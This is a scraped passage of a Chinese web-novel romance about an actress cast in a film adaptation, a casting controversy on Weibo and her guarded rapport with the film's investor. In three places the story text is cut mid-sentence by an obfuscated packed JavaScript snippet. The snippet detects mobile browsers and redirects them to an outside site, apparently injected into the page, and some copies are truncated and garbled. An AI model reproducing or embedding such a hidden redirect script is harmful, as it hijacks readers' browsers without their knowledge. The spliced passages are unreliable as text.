元时亦轻咬了下唇,他果然都听到了。是因为她多问了江燚几句,明白选角之事全然是江燚的意思,与他无关,所以,他猜到她误会他了吧? 既然颜屿把话说得这么明确,那元时亦也就不可能再像之前那样,产生一些乱七八糟的猜想。 “明白,劳您费心了。” 元时亦刚说完这句,颜屿忽然侧过身,眼眸微垂,直直盯住她的眼睛。 猛然的对视,元时亦心脏停掉一拍,视线交错间,她看见颜屿轻扯了下嘴角:“不劳。” 只是简短的两个字,发音却隐约间加重。 蕴着冷意。 元时亦立刻就想到了那日她离开观察室前说的那句话:这个不劳您费心。 那时她是带着点赌气的成分,毕竟在当时的她看来,颜屿的行为无异于打一棒子再给颗甜枣,她不需要那种可惜。 然而此刻,回旋镖打到自己身上,元时亦一整个噎住,半天不知该回什么。 许是察觉出元时亦的无措,颜屿收回眼神让出通道,又换上先前那彬彬有礼模样,淡声道:“元老师,慢走。” 不过片刻,颜屿的态度就发生了一百八十度大转变。 元时亦艰难地咽了咽口水,这是“放过”她了? 没功夫细究太多,得到“允许”后,元时亦连忙迈开步子,逃也似地离开这个难以挣脱的禁锢地。 回到大厅,元时亦竟有股劫后余生般的错觉。 看来,这是个记仇的男人。 深吸一口气,元时亦迅速朝路芙走去。 而这个“记仇”的男人看她离去的背影,不觉回想起方才瞥见的那抹酡红,嘴角又缓缓升起。夏季帮他选的这套穿搭确实不错,他可以大发慈悲一次,把下个版本需要验收的玩法推后一点。 而此时此刻在楼上疯狂查bug的合一创始人之一,夏季,不由地打了个喷嚏,刚想骂颜屿这个活阎王把排期定得这么前,就收到了活阎王的微信消息:实在来不及就往后推,不用加班。 颜屿将手机收起,坐在沙发椅上的江燚围观完全程,忍不住坏笑,“你是不是对小元有什么意见啊,还是说,”江燚试探,“是想见?” 他一大早给颜屿发消息说今天主演的合同可以全部搞定,问他要不要过来看一眼。 颜屿的回复本来是不了,结果转头又问了一句今天有谁签。 他一把元时亦和另外一个男演员名字发过去,颜屿的回复就变成了:我还是去一趟吧。 颜屿瞟了眼江燚搓来搓去的手,神情冷淡:“需不需要我给你买一箱瓜子?” - 元时亦回到家,忍不住又将合同翻一遍。 何曦帮她考虑地很全面,事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290585|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 项内容写得清楚,各类权利也都争取到,包括最重要的,片酬部分——即使她已入圈多年,可在电影界也只能算个新人,而合一给到的价位,却远超她的预想。只能说财大气粗,的确够豪。 不过这一切的前提,是需要同意一份补充协议。 《诸灵》篇幅过长,一部电影不足以囊括下所有故事,所以制作方将拍成系列电影,以打造一个全面而完善的世界。因此,他们提出要求,参演人要一次性签下后续所有影片,保证人员不会有所变动,且一旦发生档期冲突,必须以《诸灵》为主。 后一条元时亦是理解的,人家给的钱多,提点要求不过分。 至于前面那一条,虽然看似严苛,但对元时亦来说却是稳赚不赔的买卖。若一切顺利,她演得够好,那么她将获得一部代表作,并拿到电影圈的入场券,以接触到更多资源。可一旦她没能演出读者心中的阿似,观众要求换人,剧组不但要陪她违约金,还得重新招人,而她,只用拍拍屁股重回剧圈。这样一看,接下这个角色无论如何都是件好事。 只可惜,在元时亦的字典里,就没有“敷衍”二字,所以,对于这份意外之喜,哪怕无法得到认可,她也会尽力做到最好,不留遗憾。 等她看到最后一页,手机响起,有消息进来。 【周三月:诸灵终于要开比赛了!!!】 元时亦:! 元时亦扔下合同,心思直接飞到了微信上。 【元时亦:哪来的消息,保真吗?】 【周三月:应该吧,甘霖听他朋友说的,你懂的,他在圈里有点小人脉。】 甘霖虽然早已退役,但当年认识了不少朋友,稍微打听一下,就可以获得一点内部消息。 元时亦刚想问具体什么时候,视线不经意间落到“人脉”二字上,一个分神,她不由地想到了颜屿。 某种程度上来说,她应该也有一点点人脉,并且,准确无比。 ——哦也不一定,万一他已经不管游戏部门的事了呢? 聊到这里,元时亦想了想,还是打算把颜屿的事跟周三月解释清楚。 【元时亦:上次跟你吐槽的那个投资人,我知道他是谁了,而且你也知道】 【周三月:我也知道?我能知道这么大牌的人吗?[三脸震惊]】 【元时亦:颜屿】 【周三月:???】 【周三月:哪个颜屿,不会是我知道的那个吧?】 【元时亦:就是那个】 【周三月:卧槽】 元时亦没有把具体原因告诉周三月,毕竟《诸灵》还未官宣,她只能表示是因为颜屿打算把她推去另一部戏,才导致了那场思路完全偏离的吐槽。 不过,如果三月得知了她出演的是什么电影,大概会当场尖叫,然后疯狂轰炸她吧。 现在,她只能先按捺住自己激动的心,等一切揭晓再与三月分享。 【周三月:真没想到这位老板会投资娱乐圈,你说他会不会把诸灵影视化啊】 【元时亦:.】 姐妹,你大可不必猜得这么准。 然而,这件事却来得比元时亦想象中快得多。 剧组拿到备案回执后,就给各位主演去了通知,可以来拍摄定妆照了。 元时亦抵达摄影基地时,天空上乌云密布,隐隐有下雨趋势。 她不知道的是,与此同时,一条关于《诸灵》影视化的话题正悄然攀上热搜。 7. 电话 微博上炸了锅。 「呜呜呜我不相信,《诸灵》怎么会影视化啊」 「-下个月出了立项公示你就信了」 「非也你出来说句话呀@非也」 「-[图片]看清楚原话,她意思是没遇到合适的团队就不卖。卖了不就说明遇到了吗?」 「-也大不会恰烂钱的,放心吧」 「-确实不会,因为出品方是合一」 「-等会???合一不是做游戏的吗?他们还搞影视了?这是逮着《诸灵》可劲薅啊」 「-什么叫薅啊,游戏不做得挺成功吗?与其交给别人,我觉得还不如就给合一」 「听说导演是江燚」 「-江燚能行吗,他之前拍的都是现实题材,跟这个完全不搭边啊」 「-你们不知道吧,江燚拍电影以前在剧圈里混过的,姜洺那部超火的奇幻古偶,执行导演就是江燚」 「-哇,那我期待住了!」 「-期待啥啊,这里面还掺了点科幻你怎么不说?」 「-那请楼上说出你的心仪导演」 「-回复:好吧,我查了一圈感觉江燚还行[尴尬]」 互联网传播信息的速度一向很快,不到一个小时的时间,这个话题就被顶到了热搜中上的位置。 一众讨论声中,一条微博的出现,成功将众人注意力转移,聚焦到角色的问题上。 「大家浅谈一下最符合自己心中主角团的人选吧~#诸灵选角#」 …… - 元时亦来到化妆间,由于是现代剧,造型本就不复杂,角色又有着清淡的特质,她的妆面便相对简约,容易完成。就是在服装上,让她有一点意外。 主角团们常年走在打斗的路上,基本都是穿作战服,而阿似又是由水汇聚而成的灵,会经常泡在水里,所以元时亦的服装大多是紧紧贴身的,以至于非常地,显身材。 “哇,这套太好看了。”路芙帮忙将元时亦的衣服拉扯平整,“就是,有点点透。” 这是一件水下服,连体装,除了重要部位做了遮挡,其他部位都近乎透明。浅蓝色的薄纱贴合于身,勾勒出曼妙有致的线条,腰肢纤瘦却不失力量感,两条马甲线微凹,在平坦的小腹上若隐若现,看得出,这是长期保持锻炼而得到的成果。 元时亦拉好衣服,面对镜子转着身体检查,蓝色纱线中混合了银丝,光线照映下,折射出如流水般的波纹。捏住头发的手指松开,如瀑的长发整片倾洒下来,铺在后背、腰侧,随着她的动作轻轻扫动,微风拂过,吹动细腻白润的肌肤。 “确实有一点。” 话是这么说,但她也能理解造型师为什么要这样设计,《诸灵》虽然大多数场面都会用到特效,但能够实景拍摄的部分,自然会优先考虑实景,因此,她会有几场真正的水下拍摄。既然是在水中,那么她的衣服就需要足够轻薄以免影响身体动作,再加上她的水下形象还需要做一些透明化的后期处理,那这类服装就必须紧密贴合。 就是看着镜子里的身影,元时亦忍不感叹,好像有点过于性感了。 胸部是一片薄薄的桃心抹胸,稍紧,露出一点沟壑,下方短裤弹性十足,牢牢贴于臀部,弧线浑圆翘挺。若没有外面那层纱罩,里面两件,还勉强可以看做是一套普普通通的泳衣,可加上这片轻纱,就不由添了几抹欲盖弥彰。 “这套衣服好看是好看,就是太薄了,你会不会冷啊,”路芙说着,抓了下元时亦的手指,“你的手好凉,我去让他们把空调温度调高点。” “好。”元时亦说完,外间突然传来一阵嘈杂声。 元时亦忍不住探出一个脑袋,却被前方并排耳语的两人挡了个严实。路芙才刚出去,应该不至于闹这么大动静吧。 没多久,路芙折返回来,表情欲言又止。 “怎么了,是不方便调吗?”还是四月份,气温并未升得太高,拍摄期间还经常会用到鼓风机,如果环境能稍微温暖一点,她的状态肯定会更好。若是不行,她也不会强求,毕竟这些都是她的本职工作,她会尽力做到完美。 路芙赶紧摇头,“不是不是,是那个人来了。” “哪个?”衣服已整理妥帖,元时亦说着便抬腿往外走,话音未落,那个让路芙不愿明说的人就直直闯入她的视野。 颜屿坐在江燚身边,听着江燚与摄影师沟通拍摄内容,时不时点头应声,周围人员忙前忙后,而他就那样悠闲地坐在视角最好的地方,低头把玩手机,有些扎眼。 元时亦脚步缓下,不过数日,居然又见到了这个男人。 虽然他除了有投资人的身份外,还是整个系列电影的制片,但这未免也盯得太勤了。 颜屿今天依旧是一身休闲服,浅驼色针织花纹卫衣,小polo领,下装直筒裤加板鞋,少了第一次见面时流露出的“总裁味”,而是多了几分温雅、柔和。 元时亦想起来,江燚说过他今年才二十七,也不过大她两岁,可以算同龄人的范畴。大概是初见时的“一票否决权”给她印象太深,让她总觉得,颜屿此人,就是个任意妄为的老资本家。 许是注意到投射而来的目光,颜屿昂首,双眸轻探—— 四目相对。 元时亦半个身子已跨出门帘,蓝色纤影隐隐绰绰,两人间隔的距离并不算近,但元时亦却清晰地感受到颜屿停顿视线,止住了呼吸。 然而仅仅一秒,他就低下头,继续滑动手中的手机,仿佛什么也没有发生。 元时亦被这猝然的转变敲醒,意识到自己此刻的穿着,她立马反应过来,迈出的长腿缩回,重新站至原位。 “姐,怎么了?”路芙紧跟在她身后,差点撞上去。 “没、没事。”元时亦也不知是怎么了,心跳在那一刻静止,随后猛然加速。 在场眼尖的却不止那一位,造型师发现了元时亦欲进又退的身影,赶紧小跑过来询问,“元老师,是有什么问题吗?” 本就处于风声鹤唳的状态,突然一道陌生声音响起,元时亦不禁吓了个激灵,好在动作极轻,并未表现出任何异常。 元时亦有点懊恼,拍戏时比这更暴露的衣服她都穿过,怎么拍个定妆照还害羞起来了?她一向都是大大方方展示出自己的美貌,从不怯场,这样毫无理由的退回去,倒显得有几分扭捏。 深吸一口气调整呼吸,元时亦重新将状态找回,“没有,我马上出来。” 再一次走出里间,座位上的那个人却不见了。 空空如也的座椅摆在那儿,元时亦也不知怎的,竟小小地松了一口气。 - 这套定妆照结束后,时间正好来到午时,有一个小时时间吃饭休息。元时亦换下衣服,走向洗手间。 刚才拍摄途中,元时亦注意到路芙接了一个电话,看反应,应该是何曦打来的。 何曦很少会在中途查问具体情况,最多是微信上跟路芙保持联系,有什么重要原因,值得她直接打过来一个电话吗? 元时亦拿出手机,微博消息在不断弹出,她隐隐有不好的预感,纤细手指抬起,点了进去。 #诸灵选角#爆 清亮的眸子在这一刻陡然放大。 《诸灵》项目才刚刚拿到回执,立项备案都还没有公示,消息怎么一下就传出去了? 元时亦不太确定地点进词条,滑动。 一条条翻看完,元时亦悬于半空的心也跟着一点点落下。幸好,幸好大家只是在猜测,在聊自己心仪的人选,而不是真的扒出了选角名单。 只不过一圈看下来,并没有一个人提到她,庆幸之余,又难免有一丝失落。 但也算意料之中,毕竟他们确定了导演是江燚,就自然不会考虑到剧星上面,更别说她这种被定为流量的小花。 她正想点击退出,一条评论忽然闯入眼帘。 「我有人脉,主演们已定。」 「-卧槽,真假啊?」 「-求」 「-球球」 「-求私」 …… 「只能说,阿似你们绝对想不到是谁」 层主抛出这个悬念,引得一众网友猜测纷纷,而在数不清的追问中,她都回答不是。直到一个人问出「元时亦」这个名字,迟迟没有得到回复。 十分钟后。 #诸灵阿似元时亦#冲上热搜。 「啊?元时亦演阿似???真的假的」 「-江燚不说不考虑没拍过电影的人吗?这消息怎么传出来的,越传越离谱了」 「-不懂了吧,越离谱的才越有可能是真的」 「-[图片]这个评论,层主唯独没有回复元时亦那一条」 「-不是,她说有人脉你们就真信啊,那我也能说,我随便挑个人不回复,不一样把你们哄得团团转?」 「-信她还是信我是秦始皇?」 「没有官宣之前请大家不要做胡乱猜测,我们10e不约[比心]」 「-守护」 「-守护」 「-又不约上了,她那个演技能演得了阿似?」 「-楼上,你别说你还真别说,我感觉某种程度上她和阿似还挺适配的[笑哭]」 「-是诶,阿似本身不就是那种面无表情的冷美人吗?她本色出演,也挺好的」 「-哪里好了,别在这里粉装路OK?」 「-都别吵了,元时亦好歹脸摆在那里,等你们白月光被选成这样[图片],就都老实了哈[憨笑]」这一条附带的图片,是前阵子一个大热IP的选角演员吐槽,当初官博官宣后,评论一片哀嚎遍野,强烈要求换人。 「不是,你们搞搞清楚,这是电影,不是你们什么谈恋爱过家家好吗,真觉得面无表情就可以不用演技了?」 「-点了」 「-DL,别拉低这个IP的档次[眯眼笑]」 「-lpdl,我承认元时亦的脸确实不错,但并不代表她适合阿似。」 「-@非也@江燚@合一@诸灵手游,出来挨打!」 「-非也你出来说句话呀@非也」 「-楼上非也梦女又来了」 「抵制,真要选她我绝对不会去电影院,合一你等着亏本吧@合一」 「+1」 「+2」 「+3」 …… 元时亦刷完微博,手指已微微发硬。事态急转而下,情况比她预想得要糟。 微信弹出。 【何曦:去哪了?小芙说没看见你】 【元时亦:没事,我就出来透口气】 她从洗手间旁的后门走出,在拐角处翻了许久,小腿蹲到发麻。 消息刚发出去,何曦的语音就打了过来。 “时亦。” “嗯。” “是不是看到微博了?” “嗯。”这第二声嗯,要比第一声闷上许多。 何曦在电话那头叹口气,“消息是剧方放出去的,他们是有意预热影视化这件事,顺便看看读者反应,没想到会把你牵扯进去。营销那边刚跟我打了电话解释,表示会尽快把热度压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听完这句,元时亦刚要升起的心又降了下去,颜屿可不就是拿钱砸他的吗。江燚说了,这项目是合一全权投资,即使颜屿表示所有事情都可以由江燚一手敲定,但江燚还是会尊重颜屿的意见。 “我只是觉得这件事太巧了。”元时亦抓起一缕黑亮的发丝,胡乱地绞在手指上。 她原本是想参演姜洺的项目,结果试镜失败,反倒因祸得福,落选的录像被另一位导演看上。如果不是有颜屿这个人在中间牵线,她几乎没有拿下这个角色的可能,到最后,江燚大概率会选择一位尽可能符合要求的演员,而绝不会找到她头上。 “曦姐,有人找。”电话里传来其他人的喊声,“好,来了。”何曦声调转回,将话说完,“别多想,下午安心拍照,我很快就来。” “好。” 挂断语音,元时亦伸直身体,跺了跺脚,跟何曦打电话时她按了好久的小腿,现在已经恢复得差不多了。 不想刚走几步,拐角另一边忽然传来声响。 “是啊,真是多亏了您。” 有些耳熟的声线,元时亦顿住,是颜屿。 他居然也在这里打电话。 元时亦屏住呼吸,悄声往后退,她不想被误会成偷听,只能尽量不去注意那边在说些什么。 她不知道的是,拐角另一边的颜屿,正在透过不远处的凸面镜观察她。 十分钟前。 颜屿在走廊尽头听完营销组的汇报,对网络上的风向有了一个大概的了解。 他有想过影视化所带来的负面影响,但结果确实比他预料的要激烈一些。好在几年前他拿到游戏版权时也经历过这么一遭,倒是有个心理准备,就是没想到,会牵连到她。甚至,让她成为众矢之的。 颜屿眼神压暗,娱乐圈内不成文的规矩他不是没有听说过,只是亲眼目睹后,还是难免有些厌恶。叮嘱完营销组提前准备正式官宣时的应对方案,颜屿轻推开窗想要透口气,却意外发现了那个熟悉的身影。 元时亦本身是高挑又健康的身形,不像一些女星瘦到病态,而此刻这样抱着双腿蜷缩成一团,整个人显得瘦弱又单薄,黑发满铺在背后,将她的身体包完全裹住,背影伶仃而无助。 颜屿眯了眯眼,她在刷微博? 不多时,元时亦将手机拿到耳边,有人给她打电话。 他本应关上窗户,不去探听他人隐私,然而手抬至窗边,却迟迟不肯再动。 “……有没有给江导推过其他人?” 颜屿眼眸微动。 她是在,说他吗? 干净匀称的手指落至窗沿,有一下没一下地敲击灰色瓷砖。看来网上那些不怀好意的揣测她都看到了,他对她的心思是不那么清白,但绝不会在这个时间点暴露,也不会,做得那么不光明磊落。 合上窗户,颜屿长腿迈开,走向后门。 既然她这么在意这件事,那么他可以给她一个答案。 来到拐角,颜屿盯着反光镜,拿出手机拨通一个号码,察觉到元时亦退后的动作,他不由加大音量。 “这项目三个月前就开始筹备,我给江燚推了好几个他都不同意,要不是在您那儿碰到最后这个,还真不知道要拖到什么时候。” 吐字太过清晰,元时亦无法忽视,尤其是捕捉到几个关键字,她后撤的脚步终于慢下来。 看到镜子里的人影最终停留在原地,颜屿嘴角轻勾,不等对面回答,直接摁灭了电话。 目的达成,颜屿退回室内,步伐利落。一缕风起,吹散那点遗落的痕迹,仿佛这里不曾有人来过。 而电话那头,炫着午饭的江燚满脸问号:祖宗,这是搁这点我呢? 还有,你什么时候跟我推好几个了,不就一个元时亦吗? 8. 非也 自偷听到颜屿那番话后,元时亦信心渐涨,下午拍摄顺利,何曦抵达影棚时,她已经拍到倒数第二套。 “拍得怎么样?”何曦来到里间。 “进度超快!”路芙语气稍显激动,这一次定妆照几乎算元时亦有史以来的拍摄中速度最快的一次,没有复杂的姿势和各种奇怪的要求,元时亦基本都是一次过。她接过元时亦换下来的衣服,将手里的最后一套服装递过去,“今天应该可以早点收工啦。” 旁边化妆师一边清理刷子一边应声:“是啊,元老师效率很高,我们也能沾沾光早点下班了。” 何曦欣慰点头,拍拍元时亦的肩膀,“正好,晚上去跟我参加一个饭局。”说完,她又转向路芙:“一会拍完你可以先走,晚上我送时亦回家。” “好耶。” 饭局? 元时亦换好衣服在桌前坐下,化妆师正在帮她调整妆面。 她往镜中抛去询问的眼神,何曦却一脸神秘未作回答。 直到傍晚六点,元时亦跟着何曦来到停车场,看见车边穿着浅驼色卫衣的男人。 “你别告诉我,晚上是跟他的饭局……”元时亦步子慢下,有些不情不愿。 怎么会是颜屿? 并非是她拒绝与他相处,而是一想到上午那个微妙的对视,她就不免有几分尴尬,所以,能不接触就不接触得好。 “那倒不是,”何曦回到,“我约的是江导,还有非也。” 元时亦一愣:“非也?你是说原作者吗?” “对。” 非也除了是原作者外,还会担任整个系列电影的总编剧,只是这么久以来元时亦都还没有见过她,庆幸之余,又有一些好奇,三月可是在她耳边把非也吹上了天,说是最崇拜的女人不为过。 “今晚正好请他们吃个饭,表示一下感谢。” 在这一行待得越久,元时亦越是明白人脉的重要性,个人实力是基石,人脉却是不可多得的桥梁,这次她侥幸出现在江燚面前,虽说外在形象是主要因素,但她不能不反过来维护这其中的关系,毕竟,若不是这两位点头,她也不可能拿下这个角色。这个饭,该请。 “好,我知道了。” 元时亦跟在何曦身后,又看一眼前方直立的男人,不禁压下帽檐,悄声问:“那他是怎么回事?”看样子,这个饭局颜屿也是要参加的,不然他怎么会出现在此处。 “我找江导的时候,”何曦刚要解释,转头注意到元时亦的反常——女人精致的眉眼藏在阴影之下,好看的红唇却微抿着,很明显的一丝抗拒。何曦挑眉,话锋一转:“你不想跟颜总吃饭?” “没有。”元时亦秒答。 扭捏矫情不是她的作风,但她确实有些抗拒,如果可以的话,她不是很想在这种时候面对这位来视察的大老板。 何曦笑了笑,并未追问,“我也没想到这位会赏脸。我找江导的时候他正好在旁边,江导随口问了他一句,他就答应了。” “……” 就答应了? “说起来他才是你最应该感谢的。”何曦感叹,“果然万事难料,机会只会留给有准备的人。” 这话说得倒是没错。 她能得到这份资源的确托他的福,不过前提是她有本事将它稳稳接住。 不多时,真正要邀请的客人,江燚,终于出现,看到颜屿立在一旁跟着另外两人一起等待,江燚不禁开口问,“你车呢?” 颜屿可不是什么恭敬小辈,会老实站在这儿迎他。他只会面无表情坐在驾驶位,待人到时,丢出一句“上车”。 “给助理了。”颜屿回得漫不经心,仿佛在说一件与他完全无关的事,“他们约了聚餐,这边不好打车。”言外之意,小助理那边车不够,于是他十分慷慨地把车借出载人,他自己嘛,就只能将就一下,坐其他车奔赴饭局。 江燚皱眉挤眼,暂不说你是不是这么大方一人儿,你一个大老板不用车,把车借给助理,你听听这像话吗,这对吗? “那只能打扰何经纪了。”江燚腹诽完礼貌一笑,对着何曦说了句客套话。他原本是坐公车来的,元时亦这边的拍摄已结束,但另外几个主演的还在进行中,他大致盯了一圈,并无大问题,这才敢赴何曦的约,他是想着公车留给下属们用,他搭颜屿的车去就好。谁知这人居然也要“蹭车”,还说得这么理所应当。 “哪里,正好四人,一起坐我的车过去也方便。”何曦连忙过去拉开副驾车门,向着二人示意。几人中,其实元时亦坐副驾驶是最合适的,可元时亦只戴了一顶黑色渔夫帽,墨镜跟口罩都在路芙那里忘了拿,她这辆车又是最近刚提,还没来得及贴防窥膜,保险起见,元时亦坐在后面更好。 所以,何曦走过去前对元时亦说了声,你坐我后面。 元时亦乖乖坐进去时,并不会想到颜屿紧随其后拉开了另一边车门。 元时亦心中一个“咯噔”,整个人变得拘束起来。可仔细想想也没什么不对,他作为老板身份,应该不会习惯坐副驾驶——她当然没想错,颜屿看向江燚的眼神便有这个意思:你想让我坐前面? 江燚:哪敢啊祖宗。 不算陌生的气息闯入,缓慢地侵占元时亦每一寸肌肤。味道依旧很淡,浅浅的洗涤香,不易察觉,然而足够优越的体型摆在这里,存在感过强,纵使两人间还隔出一个能容纳一人的座位,元时亦依旧感到局促。 悄然无声间,元时亦小心地往左挪了挪,空间狭小,一行一止都很难逃过身旁人的眼睛,这点小动作落进颜屿的余光里,他索性靠向座椅,阖上眼,避免给她压力。 车子平稳行进,只有前座两人在对话搭腔。 何曦随口道:“江导,我听说前期选人不是很顺利,您应该没少操心吧。” 提及此事,江燚苦水闸门再次打开:“可不是嘛,前面俩月给我愁的,圈子里基本翻了个遍,就差去找新人了。幸好小颜,”江燚抬头看了看后视镜,男人不知在何时睁开了眼,正不动声色地望着他,眼中情绪极淡,却蕴含一丝警告。江燚轻咳一声,将话说完,“我是说颜总,一直帮着物色人选,最后找到小元这儿,不然项目还得再拖一阵。” 再次看向镜子,男人眼睛已重新闭上,是满意的状态。 江燚忍不住在心中骂骂咧咧,得,您是爷,我惹不起,不就帮忙撒个小谎嘛,我撒就是了。 他视线一转,触及到镜中元时亦投来的目光,酣然一笑,“过程是艰辛了点,好在结果不错。” 被江燚这么一说,元时亦倒有些不好意思起来,江燚给她的评价一直很高,甚至一度让她觉得不太真实。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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门被推开,“不好意思,路上堵车,来晚了。” 几人站起迎接,何曦笑道,“不晚不晚,欢迎非也老师。” 元时亦离门口最近,她起身后退开座位,面对着非也轻鞠一躬,恭敬道:“非也老师好。” 入眼的是一位风韵十足的成熟女人,三十出头的模样,看不出实际年龄,一袭珍珠白丝绒旗袍,搭配水绿钉珠披肩,青棕长发随意挽成一个髻,两根白玉簪横在发中,温婉、秀丽,像一株优雅的白玉兰。 “你好。”非也莞尔,人却停在门边迟迟未动。她正在缓缓打量面前的年轻女人,乌黑长发及至腰处,两条浅而不柔的眉,眉峰微挑,透出一股凌厉,如雾般的蓝色眼影覆在一双似水的眼上,淡而不寡,唯一一抹艳色缀于唇间,衬得玉瓷般的肌肤更为清透。 非也眼眸渐渐弯起,就在元时亦快要被盯得脸红时,她终于出声,“果然这才是我的阿似。” 一句简单而直白的肯定。 胜过千言万语。 元时亦感觉到自己真的脸红了,颊边微微发烫,有什么比得上一句原作者的认可呢? 她还未来得及表达感谢,只听非也语调一转,肯定变成赞叹,“好正喔,简直比电视上还要靓。” 非也眼中流露出的已不是方才对她符合角色形象的满意,而是对她本身的、出众的外表的欣赏。 突然的转变让元时亦意料不到,她双眼轻眨两下,耳廓也泛了红,大作家夸人都这么直接吗? 不想下一秒,非也偏过头,眼神从她身上转移至对面的男人。 暖白的灯光洒下来,元时亦只看到非也脸上明晃晃的笑容,“颜仔,你眼光不错啊。” 9. 饭局 颜颜颜、颜仔? 元时亦愣住,这道称呼让人过于震惊以至于她都没察觉出这句话有哪里不对。 而被点到的男人自然懂得非也的话外之音,一向温沉的脸罕见裂出一条缝,不自在地别开视线。 没有直面这个话题,颜屿正声开口:“您先入坐吧,可以点菜了。” “好好,就来就来。” 有些话点到即止即可,言多漏了陷,这位小颜总怕是要丢面了。 非也收起笑容,几步走过去,江燚已经帮忙拉好了椅子。 饭局正常进行,非也点了几道经典粤菜,乳鸽、烧鹅、叉烧、蒸鱼,加几盅靓汤,其余人再添上一二,总共六道热菜三道凉菜。 非也,原名施也,这位作家早些年为写作四处旅居寻找素材与灵感,曾在广城和港岛待过一段时间,对那边的饮食甚是喜爱,何曦会选这家餐厅,也是提前做了功课,投其所好。 元时亦对粤菜不算熟悉,她偏好味道重一点的辣菜,这类清甜口味的菜肴尝得少,不过她现在也不敢多吃,她目前的身材并不完全满足阿似的外形,需要再增一点肌,因此她特地点了一份卤水拼盘,用水匀一匀,可以当清水肉吃,剩下几道,就只敢沾沾清蒸的东星斑和白灼的菜心了。 菜品陆续上齐,席间谈论不断。 这顿饭除了感谢外,元时亦还想借此机会跟非也取取经,毕竟有谁会比原作者更了解故事与人物呢? 几个来回后,元时亦的疑问得到解答,对角色的认识也愈发清晰,若不是她理解能力够强,这场饭局怕是要成为专属于她的教学现场。 非也回答完元时亦最后一个问题,将筷子置于筷架上,“不行,这么干讲太没劲。” 她砸了咂嘴,总觉得少了点什么。 其实能这般跟她深度讨论作品的人并不多,对于这位阿似的扮演者,她无疑是心满意足的,甚至可以说,远超她的预期。而人的心情一旦大好,就需要一些外在的东西助助兴。 元时亦本以为是自己提出的内容太无趣,正考虑换个话题,却见非也脱下披肩挽起袖子,正色道:“对,我得来瓶酒。” 酒? 元时亦与何曦短暂对视一瞬,看来不是无趣,而是足够开心。 几分钟后,一瓶贵腐甜白被端上。 度数不高,喝的是一个情调。 只是何曦要开车,江燚又是一杯倒,那就只剩元时亦跟颜屿能陪着喝点儿。 等侍应生将酒开完,颜屿静静起身,从一旁的桌架上挑出三支甜酒杯,一一摆放于餐桌上,意思很明显,无需旁人帮忙,这支酒他来倒。 元时亦看着他利落熟练的动作,内心泛起纠结,他该不会还要帮她倒酒吧? 第一杯自是给非也。 颜屿估量准确,酒将将达到酒杯二分之一的位置便立刻止住,未有增加,颜屿轻推转桌,将它送至非也面前,“非也老师,尽兴。” 非也笑着端过,“难得。” 这二字说得巧妙,不了解内情之人只会以为是她难得能喝一次酒,然而实际上,非也轻轻抬眼看向元时亦,是这位颜总难得“伺候”一次人。 而不远处那位被她悄窥的明艳美人正睁着清亮的眸子,关注对面人的一举一动,显然不知她话中深意。 看到颜屿即将盛上第二杯时,元时亦还是没忍住起了身,且不说她没有非也那样的地位,就单论今天这顿饭,她作为东道主,也不该让客人服侍主人。 却不想,颜屿像是预料到什么般,直接朝她走来。 他一手捏着酒瓶,一手端着酒杯,来到元时亦身边,站定。 “颜总,我自己来就好——” 回应她的是一声低唤,“元老师。” 瓶身倾斜,蜜金色液体顺着杯壁缓缓流下,撞出一点细小气泡。 清甜香气溢开,一杯倒好的甜白葡萄酒落至她的身前,这只举杯的手并未立刻撤离,而是伸出食指与中指,夹住杯杆轻按杯底,在桌面上缓慢转动。 一圈涟漪荡出,“没有女士倒酒的道理。” 视线顺着清香的葡萄味相碰,元时亦呼吸轻滞,颜屿离得并不算近,可这是一个未曾见过的和煦的笑,儒雅、有礼,风度翩翩,与初见时判若两人。 这还是她见过的那个颜屿吗? 元时亦眸光错开,不穿西装,连性子都大变样了。 “那就,”元时亦端起酒杯,低首,小幅度抿上一口,“谢谢颜总。” 不管怎么说,社交场上的表面功夫都要做足,既然颜屿此刻是一位绅士,那她理应做一位淑女。 只不过,元时亦再次轻探过去,现在这个模样才真正算得上符合他的外表。她对他的第一印象与众人无异,温文尔雅、文质彬彬,气质少见到令人惊艳,可这男人就是有本事做出一些反差之举,让人在惊艳之余被他的“恶劣”行径打破认知。 正因这样的违和,反倒是更让人,印象深刻。 元时亦安然坐下,沾了酒,她便不敢吃得太少,否则肠胃容易难受。 夹上几片牛腱,用清水漂去咸味,她开始小口咀嚼起来。 接下来的话题她参与不多,多数是听。 何曦和江燚健谈,没有扫大作家的兴,先聊国外大片,再讲国内奖项,说国外市场,又论国内环境,几人从天南聊到地北,若不是全程听着,她怕是走个神的功夫就要跟不上话茬儿。 “我年轻那会儿还什么都不懂,第一本书被一个编剧看上,说要找我买版权。” “为了签合同,我一个人大老远坐了十几个小时的火车赶到现场,他把影视化的好处说得天花乱坠,压价我都愿意接受,结果签完的第二个月,他就以十倍的价格转卖掉!这就算了,问题是最后拍出来是个什么狗屁,面目全非!魔改!跟我的作品有半毛钱关系吗?” 一番话下去,非也越说越恼,最后干脆一口闷完杯中液体,将空杯重重拍在桌上。 “江燚我告诉你,你要是敢把我的文拍毁,我饶不、了你!保证把你……嗝——” “不会不会绝对不会,你放一万个心。”江燚边说边把高脚杯往旁边移,然后悄摸将事先准备好的蜂蜜水换过去。 元时亦视力很好,自然没有错过这点小变化,只不过她思绪早已飞远,一时间并未意识到这举动有什么不对劲。 她想起了自己第一次拍戏的经历。 同样,不是那么愉快。 彼时,她正处于对什么事物都充满好奇的青春期,演戏一事,于她而言,更多的是新奇。 